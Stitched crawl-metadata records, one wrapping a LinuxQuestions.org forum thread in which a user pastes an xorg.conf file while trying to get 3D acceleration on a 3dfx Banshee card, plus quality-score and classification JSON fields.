4173,
4200,
4201,
4205,
4206,
4259,
4260,
4271,
4272,
4374,
4375,
4379,
4380,
4436,
4437,
4441,
4442,
4446,
4447,
4485,
4486,
4491,
4492,
4601,
4602,
4606,
4607,
4712,
4713,
4718,
4719,
4919,
4920,
4927,
4928,
4978,
4979,
4983,
4984,
5040,
5041,
5045,
5046,
5050,
5051,
5053,
5054,
5057,
5058,
5061
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 5061,
"ccnet_original_nlines": 274,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.008210180327296257,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.10509031265974045,
"rps_doc_frac_lines_end_with_ellipsis": 0.0036363599356263876,
"rps_doc_frac_no_alph_words": 0.5845648646354675,
"rps_doc_frac_unique_words": 0.4818652868270874,
"rps_doc_mean_word_length": 26.077720642089844,
"rps_doc_num_sentences": 4,
"rps_doc_symbol_to_word_ratio": 0.0016420399770140648,
"rps_doc_unigram_entropy": 4.083611965179443,
"rps_doc_word_count": 193,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0.463540643453598,
"rps_doc_frac_chars_dupe_6grams": 0.3437313735485077,
"rps_doc_frac_chars_dupe_7grams": 0.27617722749710083,
"rps_doc_frac_chars_dupe_8grams": 0.16769321262836456,
"rps_doc_frac_chars_dupe_9grams": 0.16769321262836456,
"rps_doc_frac_chars_top_2gram": 0.07232266664505005,
"rps_doc_frac_chars_top_3gram": 0.1668984740972519,
"rps_doc_frac_chars_top_4gram": 0.06258693337440491,
"rps_doc_books_importance": -146.12939453125,
"rps_doc_books_importance_length_correction": -146.12939453125,
"rps_doc_openwebtext_importance": -127.03235626220703,
"rps_doc_openwebtext_importance_length_correction": -127.03235626220703,
"rps_doc_wikipedia_importance": -72.70449829101562,
"rps_doc_wikipedia_importance_length_correction": -72.70449829101562
},
"fasttext": {
"dclm": 0.9603144526481628,
"english": 0.000015719999282737263,
"fineweb_edu_approx": 3.4508583545684814,
"eai_general_math": 0.0013676900416612625,
"eai_open_web_math": 0.04790234938263893,
"eai_web_code": 0.6629307270050049
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.445",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "005.1",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "5",
"label": "Social/Forum"
},
"secondary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "0",
"label": "No Artifacts"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "1",
"label": "Truncated Snippets"
}
},
"document_type_v2": {
"primary": {
"code": "18",
"label": "Q&A Forum"
},
"secondary": {
"code": "8",
"label": "Documentation"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "3",
"label": "Mostly Correct"
},
"secondary": {
"code": "4",
"label": "Highly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
} | e3c4dd7183f5f028f56d5a7988cc68c4 |
-460,924,723,918,613,900 | Administration Console Online Help
Previous Next Open TOC in new window
Content starts here
Create Resources in a JMS System Module
Configuration Options Related Tasks Related Topics
Use these pages to create resources in a JMS system module, such as queues, topics, templates, and connection factories.
Depending on the type of resource you select, you are prompted to enter basic information for creating the resource. For targetable resources, like stand-alone queues and topics, connection factories, distributed queues and topics, foreign servers, and JMS SAF destinations, you can also proceed to targeting pages for selecting appropriate server targets. You can also associate targetable resources with subdeployments, which is an advanced mechanism for grouping JMS module resources and the members to server resources.
Configuration Options
Name Description
Connection Factory
Defines a set of connection configuration parameters that are used to create connections for JMS clients.
Connection factories can configure properties of the connections returned to the JMS client, and also provide configurable options for default delivery, transaction, and message flow control parameters.
MBean Attribute (Does not apply to application modules) :
JMSBean.ConnectionFactories
Queue
Defines a point-to-point destination type, which are used for asynchronous peer communications. A message delivered to a queue is distributed to only one consumer.
Several aspects of a queue's behavior can be configured, including thresholds, logging, delivery overrides, and delivery failure options.
MBean Attribute (Does not apply to application modules) :
JMSBean.Queues
Topic
Defines a publish/subscribe destination type, which are used for asynchronous peer communications. A message delivered to a topic is distributed to all topic consumers.
Several aspects of a topic's behavior can be configured, including thresholds, logging, delivery overrides, delivery failure, and multicasting parameters.
MBean Attribute (Does not apply to application modules) :
JMSBean.Topics
Distributed Queue
Defines a set of queues that are distributed on multiple JMS servers, but which are accessible as a single, logical queue to JMS clients.
Distributed queues can help with message load balancing and distribution, and have many of the same properties as standalone queues.
MBean Attribute (Does not apply to application modules) :
JMSBean.DistributedQueues
Distributed Topic
Defines a set of topics that are distributed on multiple JMS servers, but which are accessible as a single, logical topic to JMS clients.
Distributed topics can help with load balancing and distribution, and have many of the same properties as standalone topics.
MBean Attribute (Does not apply to application modules) :
JMSBean.DistributedTopics
Foreign Server
Defines foreign messaging providers or remote WebLogic Server instances that are not part of the current domain.
This is useful when integrating with another vendor's JMS product, or when referencing remote instances of WebLogic Server in another cluster or domain in the local WebLogic JNDI tree.
MBean Attribute (Does not apply to application modules) :
JMSBean.ForeignServers
Quota
Controls the allotment of system resources available to destinations.
For example, the number of bytes a destination is allowed to store can be configured with a Quota resource.
MBean Attribute (Does not apply to application modules) :
JMSBean.Quotas
Destination Sort Key
Defines a unique sort order that destinations can apply to arrriving messages.
By default messages are sorted in FIFO (first-in, first-out) order, which sorts ascending based on each message's unique JMSMessageID. However, you can configure destination key to use a different sorting scheme for a destination, such as LIFO (last-in, first-out).
MBean Attribute (Does not apply to application modules) :
JMSBean.DestinationKeys
JMS Template
Defines a set of default configuration settings for multiple destinations.
If a destination specifies a template and does not explicitly set the value of a parameter, then that parameter will take its value from the specified template.
MBean Attribute (Does not apply to application modules) :
JMSBean.Templates
SAF Imported Destinations
Defines a collection of imported store-and-forward (SAF) destinations. A SAF destination is a representation of a queue or topic in a remote server instance or cluster that is imported into the local cluster or server instance, so that the local server instance or cluster can send messages to the remote server instance or cluster.
All JMS destinations are automatically exported by default, unless the Export SAF Destination parameter on a destination is explicitly disabled. Each collection of SAF imported destinations is associated with a remote SAF context resource, and, optionally, a SAF error handling resource.
MBean Attribute (Does not apply to application modules) :
JMSBean.SAFImportedDestinations
Remote SAF Context
Defines the URL of the remote server instance or cluster where a JMS destination is exported from. It also contains the security credentials to be authenticated and authorized in the remote cluster or server.
MBean Attribute (Does not apply to application modules) :
JMSBean.SAFRemoteContexts
SAF Error Handling
Defines the action to take when the SAF service fails to forward messages to remote destinations.
Configuration options include an Error Handling Policy (Redirect, Log, Discard, or Always-Forward), a Log Format, and sending Retry parameters.
MBean Attribute (Does not apply to application modules) :
JMSBean.SAFErrorHandlings
Related Tasks
Related Topics
Back to Top | {
"url": "http://docs.oracle.com/cd/E15523_01/apirefs.1111/e13952/pagehelp/JMSjmssystemmodulecreateentitytitle.html",
"source_domain": "docs.oracle.com",
"snapshot_id": "crawl=CC-MAIN-2015-18",
"warc_metadata": {
"Content-Length": "38348",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:5JOBA66DZCTIRTAT2GK5JOZYUOYGHHIY",
"WARC-Concurrent-To": "<urn:uuid:79fd7e77-d4fc-45af-af31-e873f43edf77>",
"WARC-Date": "2015-04-18T09:25:38Z",
"WARC-IP-Address": "23.6.22.140",
"WARC-Identified-Payload-Type": null,
"WARC-Payload-Digest": "sha1:QKJN4VASMCIUPFI2XTELJ7RAWXECCELX",
"WARC-Record-ID": "<urn:uuid:98100712-d773-4525-9959-2710b04aa5f7>",
"WARC-Target-URI": "http://docs.oracle.com/cd/E15523_01/apirefs.1111/e13952/pagehelp/JMSjmssystemmodulecreateentitytitle.html",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:839a0f52-1a08-495a-b390-cb49dcedd5f2>"
},
"warc_info": "robots: classic\r\nhostname: ip-10-235-10-82.ec2.internal\r\nsoftware: Nutch 1.6 (CC)/CC WarcExport 1.0\r\nisPartOf: CC-MAIN-2015-18\r\noperator: CommonCrawl Admin\r\ndescription: Wide crawl of the web for April 2015\r\npublisher: CommonCrawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf"
} | {
"line_start_idx": [
0,
35,
36,
73,
93,
94,
134,
135,
194,
195,
316,
317,
841,
842,
864,
865,
882,
901,
902,
1008,
1009,
1212,
1213,
1271,
1299,
1300,
1306,
1307,
1471,
1472,
1610,
1611,
1669,
1684,
1685,
1691,
1692,
1861,
1862,
2017,
2018,
2076,
2091,
2092,
2110,
2111,
2249,
2250,
2383,
2384,
2442,
2468,
2469,
2487,
2488,
2626,
2627,
2752,
2753,
2811,
2837,
2838,
2853,
2854,
2967,
2968,
3153,
3154,
3212,
3235,
3236,
3242,
3243,
3313,
3314,
3422,
3423,
3481,
3496,
3497,
3518,
3519,
3598,
3599,
3865,
3866,
3924,
3948,
3949,
3962,
3963,
4038,
4039,
4200,
4201,
4259,
4277,
4278,
4304,
4305,
4638,
4639,
4927,
4928,
4986,
5018,
5019,
5038,
5039,
5248,
5249,
5307,
5333,
5334,
5353,
5354,
5452,
5453,
5597,
5598,
5656,
5682,
5683,
5697,
5698,
5713,
5714,
5715
],
"line_end_idx": [
35,
36,
73,
93,
94,
134,
135,
194,
195,
316,
317,
841,
842,
864,
865,
882,
901,
902,
1008,
1009,
1212,
1213,
1271,
1299,
1300,
1306,
1307,
1471,
1472,
1610,
1611,
1669,
1684,
1685,
1691,
1692,
1861,
1862,
2017,
2018,
2076,
2091,
2092,
2110,
2111,
2249,
2250,
2383,
2384,
2442,
2468,
2469,
2487,
2488,
2626,
2627,
2752,
2753,
2811,
2837,
2838,
2853,
2854,
2967,
2968,
3153,
3154,
3212,
3235,
3236,
3242,
3243,
3313,
3314,
3422,
3423,
3481,
3496,
3497,
3518,
3519,
3598,
3599,
3865,
3866,
3924,
3948,
3949,
3962,
3963,
4038,
4039,
4200,
4201,
4259,
4277,
4278,
4304,
4305,
4638,
4639,
4927,
4928,
4986,
5018,
5019,
5038,
5039,
5248,
5249,
5307,
5333,
5334,
5353,
5354,
5452,
5453,
5597,
5598,
5656,
5682,
5683,
5697,
5698,
5713,
5714,
5715,
5726
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 5726,
"ccnet_original_nlines": 127,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.3147208094596863,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.03350254148244858,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.15431472659111023,
"rps_doc_frac_unique_words": 0.32258063554763794,
"rps_doc_mean_word_length": 5.818858623504639,
"rps_doc_num_sentences": 46,
"rps_doc_symbol_to_word_ratio": 0,
"rps_doc_unigram_entropy": 4.989830017089844,
"rps_doc_word_count": 806,
"rps_doc_frac_chars_dupe_10grams": 0.09594883024692535,
"rps_doc_frac_chars_dupe_5grams": 0.28550106287002563,
"rps_doc_frac_chars_dupe_6grams": 0.279317706823349,
"rps_doc_frac_chars_dupe_7grams": 0.26567164063453674,
"rps_doc_frac_chars_dupe_8grams": 0.25159916281700134,
"rps_doc_frac_chars_dupe_9grams": 0.1829424351453781,
"rps_doc_frac_chars_top_2gram": 0.019402990117669106,
"rps_doc_frac_chars_top_3gram": 0.04605543985962868,
"rps_doc_frac_chars_top_4gram": 0.053731340914964676,
"rps_doc_books_importance": -407.686279296875,
"rps_doc_books_importance_length_correction": -407.686279296875,
"rps_doc_openwebtext_importance": -249.7306365966797,
"rps_doc_openwebtext_importance_length_correction": -249.7306365966797,
"rps_doc_wikipedia_importance": -100.63812255859375,
"rps_doc_wikipedia_importance_length_correction": -100.63812255859375
},
"fasttext": {
"dclm": 0.04379593953490257,
"english": 0.7887803316116333,
"fineweb_edu_approx": 1.8076828718185425,
"eai_general_math": 0.1792769432067871,
"eai_open_web_math": 0.059956248849630356,
"eai_web_code": 0.41238898038864136
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.467",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "005.1",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "0",
"label": "No Artifacts"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "8",
"label": "Documentation"
},
"secondary": {
"code": "23",
"label": "Tutorial"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "4",
"label": "Graduate/Expert Level"
}
}
} | e3c4dd7183f5f028f56d5a7988cc68c4 |
-5,787,522,402,926,027,000 | LinuxQuestions.org
Visit Jeremy's Blog.
Go Back LinuxQuestions.org > Forums > Linux Forums > Linux - Hardware
User Name
Password
Linux - Hardware This forum is for Hardware issues.
Having trouble installing a piece of hardware? Want to know if that peripheral is compatible with Linux?
Notices
Reply
LinkBack Search this Thread
Old 12-15-2004, 07:59 PM #1
Mingthefirst
Member
Registered: May 2004
Distribution: Debian mostly
Posts: 46
Rep: Reputation: 15
3dfx banshee
How can I get my 3dfx card to work? I think I compiled xorg with +3dfx, but now I can barely get x to run. xorgcgf give an error.
BTW: is it possible to get 3d support out of this banshee card?
BTW2: is it possible to use an nvidia driver with this card?
BTW3: Is banshee better supported on xfree or xorg?
Right now I got it working with tdfx drivers. Good start, nowI need 3d acceleration for games.
# File generated by xorgconfig.
#
# Copyright 2004 The X.Org Foundation
#
# Permission is hereby granted, free of charge, to any person obtaining a
# copy of this software and associated documentation files (the "Software"),
# to deal in the Software without restriction, including without limitation
# the rights to use, copy, modify, merge, publish, distribute, sublicense,
# and/or sell copies of the Software, and to permit persons to whom the
# Software is furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
# The X.Org Foundation BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
# WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF
# OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.
#
# Except as contained in this notice, the name of The X.Org Foundation shall
# not be used in advertising or otherwise to promote the sale, use or other
# dealings in this Software without prior written authorization from
# The X.Org Foundation.
#
# **********************************************************************
# Refer to the xorg.conf(5x) man page for details about the format of
# this file.
# **********************************************************************
# **********************************************************************
# Module section -- this section is used to specify
# which dynamically loadable modules to load.
# **********************************************************************
#
Section "Module"
# This loads the DBE extension module.
Load "dbe" # Double buffer extension
# This loads the miscellaneous extensions module, and disables
# initialisation of the XFree86-DGA extension within that module.
SubSection "extmod"
Option "omit xfree86-dga" # don't initialise the DGA extension
EndSubSection
# This loads the font modules
Load "type1"
# Load "speedo"
Load "freetype"
# Load "xtt"
# This loads the GLX module
Load "glx"
# This loads the DRI module
Load "dri"
EndSection
# **********************************************************************
# Files section. This allows default font and rgb paths to be set
# **********************************************************************
Section "Files"
# The location of the RGB database. Note, this is the name of the
# file minus the extension (like ".txt" or ".db"). There is normally
# no need to change the default.
RgbPath "/usr/X11R6/lib/X11/rgb"
# Multiple FontPath entries are allowed (which are concatenated together),
# as well as specifying multiple comma-separated entries in one FontPath
# command (or a combination of both methods)
#
#
FontPath "/usr/share/fonts/misc/"
FontPath "/usr/share/fonts/TTF/"
FontPath "/usr/share/fonts/Type1/"
# FontPath "/usr/share/fonts/CID/"
FontPath "/usr/share/fonts/75dpi/"
FontPath "/usr/share/fonts/100dpi/"
FontPath "/usr/share/fonts/local/"
# FontPath "/usr/share/fonts/Speedo/"
# FontPath "/usr/share/fonts/TrueType/"
# FontPath "/usr/share/fonts/freefont/"
# The module search path. The default path is shown here.
# ModulePath "/usr/X11R6/lib/modules"
EndSection
# **********************************************************************
# Server flags section.
# **********************************************************************
Section "ServerFlags"
# Uncomment this to cause a core dump at the spot where a signal is
# received. This may leave the console in an unusable state, but may
# provide a better stack trace in the core dump to aid in debugging
# Option "NoTrapSignals"
# Uncomment this to disable the <Crtl><Alt><Fn> VT switch sequence
# (where n is 1 through 12). This allows clients to receive these key
# events.
# Option "DontVTSwitch"
# Uncomment this to disable the <Crtl><Alt><BS> server abort sequence
# This allows clients to receive this key event.
# Option "DontZap"
# Uncomment this to disable the <Crtl><Alt><KP_+>/<KP_-> mode switching
# sequences. This allows clients to receive these key events.
# Option "Dont Zoom"
# Uncomment this to disable tuning with the xvidtune client. With
# it the client can still run and fetch card and monitor attributes,
# but it will not be allowed to change them. If it tries it will
# receive a protocol error.
# Option "DisableVidModeExtension"
# Uncomment this to enable the use of a non-local xvidtune client.
# Option "AllowNonLocalXvidtune"
# Uncomment this to disable dynamically modifying the input device
# (mouse and keyboard) settings.
# Option "DisableModInDev"
# Uncomment this to enable the use of a non-local client to
# change the keyboard or mouse settings (currently only xset).
# Option "AllowNonLocalModInDev"
EndSection
# **********************************************************************
# Input devices
# **********************************************************************
# **********************************************************************
# Core keyboard's InputDevice section
# **********************************************************************
Section "InputDevice"
Identifier "Keyboard1"
Driver "kbd"
# For most OSs the protocol can be omitted (it defaults to "Standard").
# When using XQUEUE (only for SVR3 and SVR4, but not Solaris),
# uncomment the following line.
# Option "Protocol" "Xqueue"
Option "AutoRepeat" "500 30"
# Specify which keyboard LEDs can be user-controlled (eg, with xset(1))
# Option "Xleds" "1 2 3"
# Option "LeftAlt" "Meta"
# Option "RightAlt" "ModeShift"
# To customise the XKB settings to suit your keyboard, modify the
# lines below (which are the defaults). For example, for a non-U.S.
# keyboard, you will probably want to use:
# Option "XkbModel" "pc102"
# If you have a US Microsoft Natural keyboard, you can use:
# Option "XkbModel" "microsoft"
#
# Then to change the language, change the Layout setting.
# For example, a german layout can be obtained with:
# Option "XkbLayout" "de"
# or:
# Option "XkbLayout" "de"
# Option "XkbVariant" "nodeadkeys"
#
# If you'd like to switch the positions of your capslock and
# control keys, use:
# Option "XkbOptions" "ctrl:swapcaps"
# These are the default XKB settings for Xorg
# Option "XkbRules" "xorg"
# Option "XkbModel" "pc101"
# Option "XkbLayout" "us"
# Option "XkbVariant" ""
# Option "XkbOptions" ""
# Option "XkbDisable"
Option "XkbRules" "xorg"
Option "XkbModel" "pc101"
Option "XkbLayout" "us"
EndSection
# **********************************************************************
# Core Pointer's InputDevice section
# **********************************************************************
Section "InputDevice"
# Identifier and driver
Identifier "Mouse1"
Driver "mouse"
Option "Protocol" "IMPS/2"
Option "Device" "/dev/mouse"
Option "ZAxisMapping" "4 5"
Option "Buttons" "5"
# Mouse-speed setting for PS/2 mouse.
# Option "Resolution" "256"
# When using XQUEUE, comment out the above two lines, and uncomment
# the following line.
# Option "Protocol" "Xqueue"
# Baudrate and SampleRate are only for some Logitech mice. In
# almost every case these lines should be omitted.
# Option "BaudRate" "9600"
# Option "SampleRate" "150"
# Emulate3Buttons is an option for 2-button Microsoft mice
# Emulate3Timeout is the timeout in milliseconds (default is 50ms)
# Option "Emulate3Buttons"
# Option "Emulate3Timeout" "50"
# ChordMiddle is an option for some 3-button Logitech mice
# Option "ChordMiddle"
EndSection
# **********************************************************************
# Other input device sections
# this is optional and is required only if you
# are using extended input devices. This is for example only. Refer
# to the xorg.conf man page for a description of the options.
# **********************************************************************
#
# Section "InputDevice"
# Identifier "Mouse2"
# Driver "mouse"
# Option "Protocol" "MouseMan"
# Option "Device" "/dev/mouse2"
# EndSection
#
# Section "InputDevice"
# Identifier "spaceball"
# Driver "magellan"
# Option "Device" "/dev/cua0"
# EndSection
#
# Section "InputDevice"
# Identifier "spaceball2"
# Driver "spaceorb"
# Option "Device" "/dev/cua0"
# EndSection
#
# Section "InputDevice"
# Identifier "touchscreen0"
# Driver "microtouch"
# Option "Device" "/dev/ttyS0"
# Option "MinX" "1412"
# Option "MaxX" "15184"
# Option "MinY" "15372"
# Option "MaxY" "1230"
# Option "ScreenNumber" "0"
# Option "ReportingMode" "Scaled"
# Option "ButtonNumber" "1"
# Option "SendCoreEvents"
# EndSection
#
# Section "InputDevice"
# Identifier "touchscreen1"
# Driver "elo2300"
# Option "Device" "/dev/ttyS0"
# Option "MinX" "231"
# Option "MaxX" "3868"
# Option "MinY" "3858"
# Option "MaxY" "272"
# Option "ScreenNumber" "0"
# Option "ReportingMode" "Scaled"
# Option "ButtonThreshold" "17"
# Option "ButtonNumber" "1"
# Option "SendCoreEvents"
# EndSection
# **********************************************************************
# Monitor section
# **********************************************************************
# Any number of monitor sections may be present
Section "Monitor"
Identifier "My Monitor"
# HorizSync is in kHz unless units are specified.
# HorizSync may be a comma separated list of discrete values, or a
# comma separated list of ranges of values.
# NOTE: THE VALUES HERE ARE EXAMPLES ONLY. REFER TO YOUR MONITOR'S
# USER MANUAL FOR THE CORRECT NUMBERS.
HorizSync 31.5 - 57.0
# HorizSync 30-64 # multisync
# HorizSync 31.5, 35.2 # multiple fixed sync frequencies
# HorizSync 15-25, 30-50 # multiple ranges of sync frequencies
# VertRefresh is in Hz unless units are specified.
# VertRefresh may be a comma separated list of discrete values, or a
# comma separated list of ranges of values.
# NOTE: THE VALUES HERE ARE EXAMPLES ONLY. REFER TO YOUR MONITOR'S
# USER MANUAL FOR THE CORRECT NUMBERS.
VertRefresh 50-90
EndSection
# **********************************************************************
# Graphics device section
# **********************************************************************
# Any number of graphics device sections may be present
# Standard VGA Device:
Section "Device"
Identifier "Standard VGA"
VendorName "Unknown"
BoardName "Unknown"
# The chipset line is optional in most cases. It can be used to override
# the driver's chipset detection, and should not normally be specified.
# Chipset "generic"
# The Driver line must be present. When using run-time loadable driver
# modules, this line instructs the server to load the specified driver
# module. Even when not using loadable driver modules, this line
# indicates which driver should interpret the information in this section.
Driver "vga"
# The BusID line is used to specify which of possibly multiple devices
# this section is intended for. When this line isn't present, a device
# section can only match up with the primary video device. For PCI
# devices a line like the following could be used. This line should not
# normally be included unless there is more than one video device
# intalled.
# BusID "PCI:0:10:0"
# VideoRam 256
# Clocks 25.2 28.3
EndSection
# Device configured by xorgconfig:
Section "Device"
Identifier "* Generic VESA compatible"
Driver "tdfx"
#VideoRam 16384
# Insert Clocks lines here if appropriate
EndSection
# **********************************************************************
# Screen sections
# **********************************************************************
# Any number of screen sections may be present. Each describes
# the configuration of a single screen. A single specific screen section
# may be specified from the X server command line with the "-screen"
# option.
Section "Screen"
Identifier "Screen 1"
Device "* Generic VESA compatible"
Monitor "My Monitor"
DefaultDepth 24
Subsection "Display"
Depth 8
Modes "1280x1024" "1024x768" "800x600" "640x480"
ViewPort 0 0
EndSubsection
Subsection "Display"
Depth 16
Modes "1280x1024" "1024x768" "800x600" "640x480"
ViewPort 0 0
EndSubsection
Subsection "Display"
Depth 24
Modes "1024x768"
ViewPort 0 0
EndSubsection
EndSection
# **********************************************************************
# ServerLayout sections.
# **********************************************************************
# Any number of ServerLayout sections may be present. Each describes
# the way multiple screens are organised. A specific ServerLayout
# section may be specified from the X server command line with the
# "-layout" option. In the absence of this, the first section is used.
# When now ServerLayout section is present, the first Screen section
# is used alone.
Section "ServerLayout"
# The Identifier line must be present
Identifier "Simple Layout"
# Each Screen line specifies a Screen section name, and optionally
# the relative position of other screens. The four names after
# primary screen name are the screens to the top, bottom, left and right
# of the primary screen. In this example, screen 2 is located to the
# right of screen 1.
Screen "Screen 1"
# Each InputDevice line specifies an InputDevice section name and
# optionally some options to specify the way the device is to be
# used. Those options include "CorePointer", "CoreKeyboard" and
# "SendCoreEvents".
InputDevice "Mouse1" "CorePointer"
InputDevice "Keyboard1" "CoreKeyboard"
EndSection
Old 12-17-2004, 11:04 AM #2
Mingthefirst
Member
Registered: May 2004
Distribution: Debian mostly
Posts: 46
Original Poster
Rep: Reputation: 15
Awww, why don't people anwser. The gentoo forums got me through .
Anyways, another problem arises, this card crashes like crazy. I think yesterday it alomst crashed 10 times.
Reply
Thread Tools Search this Thread
Search this Thread:
Advanced Search
Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts
BB code is On
Smilies are On
[IMG] code is Off
HTML code is Off
Trackbacks are Off
Pingbacks are On
Refbacks are Off
Similar Threads
Thread Thread Starter Forum Replies Last Post
RealPlayer 10 & Banshee work, but no Amarok BeckinNC Linux - Software 2 01-09-2006 10:33 AM
Voodoo 3 Banshee in Alphaserver jc_dirtdog Linux - Hardware 0 11-04-2005 11:22 AM
Slack 9.1 - 2.6.0 kernel - Banshee - glxgears question 187807 Slackware 2 12-23-2003 08:02 PM
Voodoo Banshee 16MB Hardware Acceleration kolt Linux - Hardware 10 12-06-2003 06:49 AM
Help With Banshee Voodoo Kenneth Rivera Linux - Newbie 2 11-16-2002 08:11 AM
All times are GMT -5. The time now is 02:02 AM.
Main Menu
My LQ
Write for LQ
LinuxQuestions.org is looking for people interested in writing Editorials, Articles, Reviews, and more. If you'd like to contribute content, let us know.
Main Menu
Syndicate
RSS1 Latest Threads
RSS1 LQ News
Twitter: @linuxquestions
identi.ca: @linuxquestions
Facebook: linuxquestions Google+: linuxquestions
Open Source Consulting | Domain Registration | {
"url": "http://www.linuxquestions.org/questions/linux-hardware-18/3dfx-banshee-266862/",
"source_domain": "www.linuxquestions.org",
"snapshot_id": "crawl=CC-MAIN-2014-10",
"warc_metadata": {
"Content-Length": "66952",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:6NKPFR3262Q2ZXOHW7QTU3GIL76UORHM",
"WARC-Concurrent-To": "<urn:uuid:df55f68d-8628-4fea-af67-a56bfebecce9>",
"WARC-Date": "2014-03-13T07:02:42Z",
"WARC-IP-Address": "75.126.162.205",
"WARC-Identified-Payload-Type": null,
"WARC-Payload-Digest": "sha1:WMP7F5PIGUEPPH3LJR3TW3GI4MCECW3G",
"WARC-Record-ID": "<urn:uuid:947c4e50-27d8-477b-9ca3-30db4198c433>",
"WARC-Target-URI": "http://www.linuxquestions.org/questions/linux-hardware-18/3dfx-banshee-266862/",
"WARC-Truncated": "length",
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:55af4a59-112a-43e4-9ecf-6ebcaa4494cc>"
},
"warc_info": "robots: classic\r\nhostname: ip-10-183-142-35.ec2.internal\r\nsoftware: Nutch 1.6 (CC)/CC WarcExport 1.0\r\nisPartOf: CC-MAIN-2014-10\r\noperator: CommonCrawl Admin\r\ndescription: Wide crawl of the web with URLs provided by Blekko for March 2014\r\npublisher: CommonCrawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf"
} | {
"line_start_idx": [
0,
19,
40,
112,
122,
131,
183,
288,
289,
297,
298,
304,
306,
334,
364,
377,
384,
386,
407,
435,
445,
446,
466,
479,
480,
481,
611,
612,
676,
737,
789,
790,
885,
886,
918,
919,
921,
959,
961,
1035,
1112,
1188,
1263,
1335,
1406,
1408,
1485,
1539,
1541,
1618,
1693,
1767,
1843,
1919,
1992,
2004,
2006,
2083,
2159,
2228,
2252,
2254,
2255,
2328,
2398,
2411,
2484,
2485,
2558,
2610,
2656,
2729,
2731,
2748,
2749,
2788,
2789,
2826,
2827,
2890,
2956,
2976,
3039,
3053,
3054,
3084,
3097,
3113,
3129,
3142,
3143,
3171,
3182,
3210,
3221,
3222,
3233,
3234,
3307,
3373,
3446,
3447,
3463,
3464,
3530,
3599,
3632,
3633,
3666,
3667,
3742,
3815,
3860,
3862,
3864,
3865,
3899,
3932,
3967,
4002,
4037,
4073,
4108,
4146,
4186,
4226,
4227,
4285,
4286,
4324,
4325,
4336,
4337,
4410,
4434,
4507,
4508,
4530,
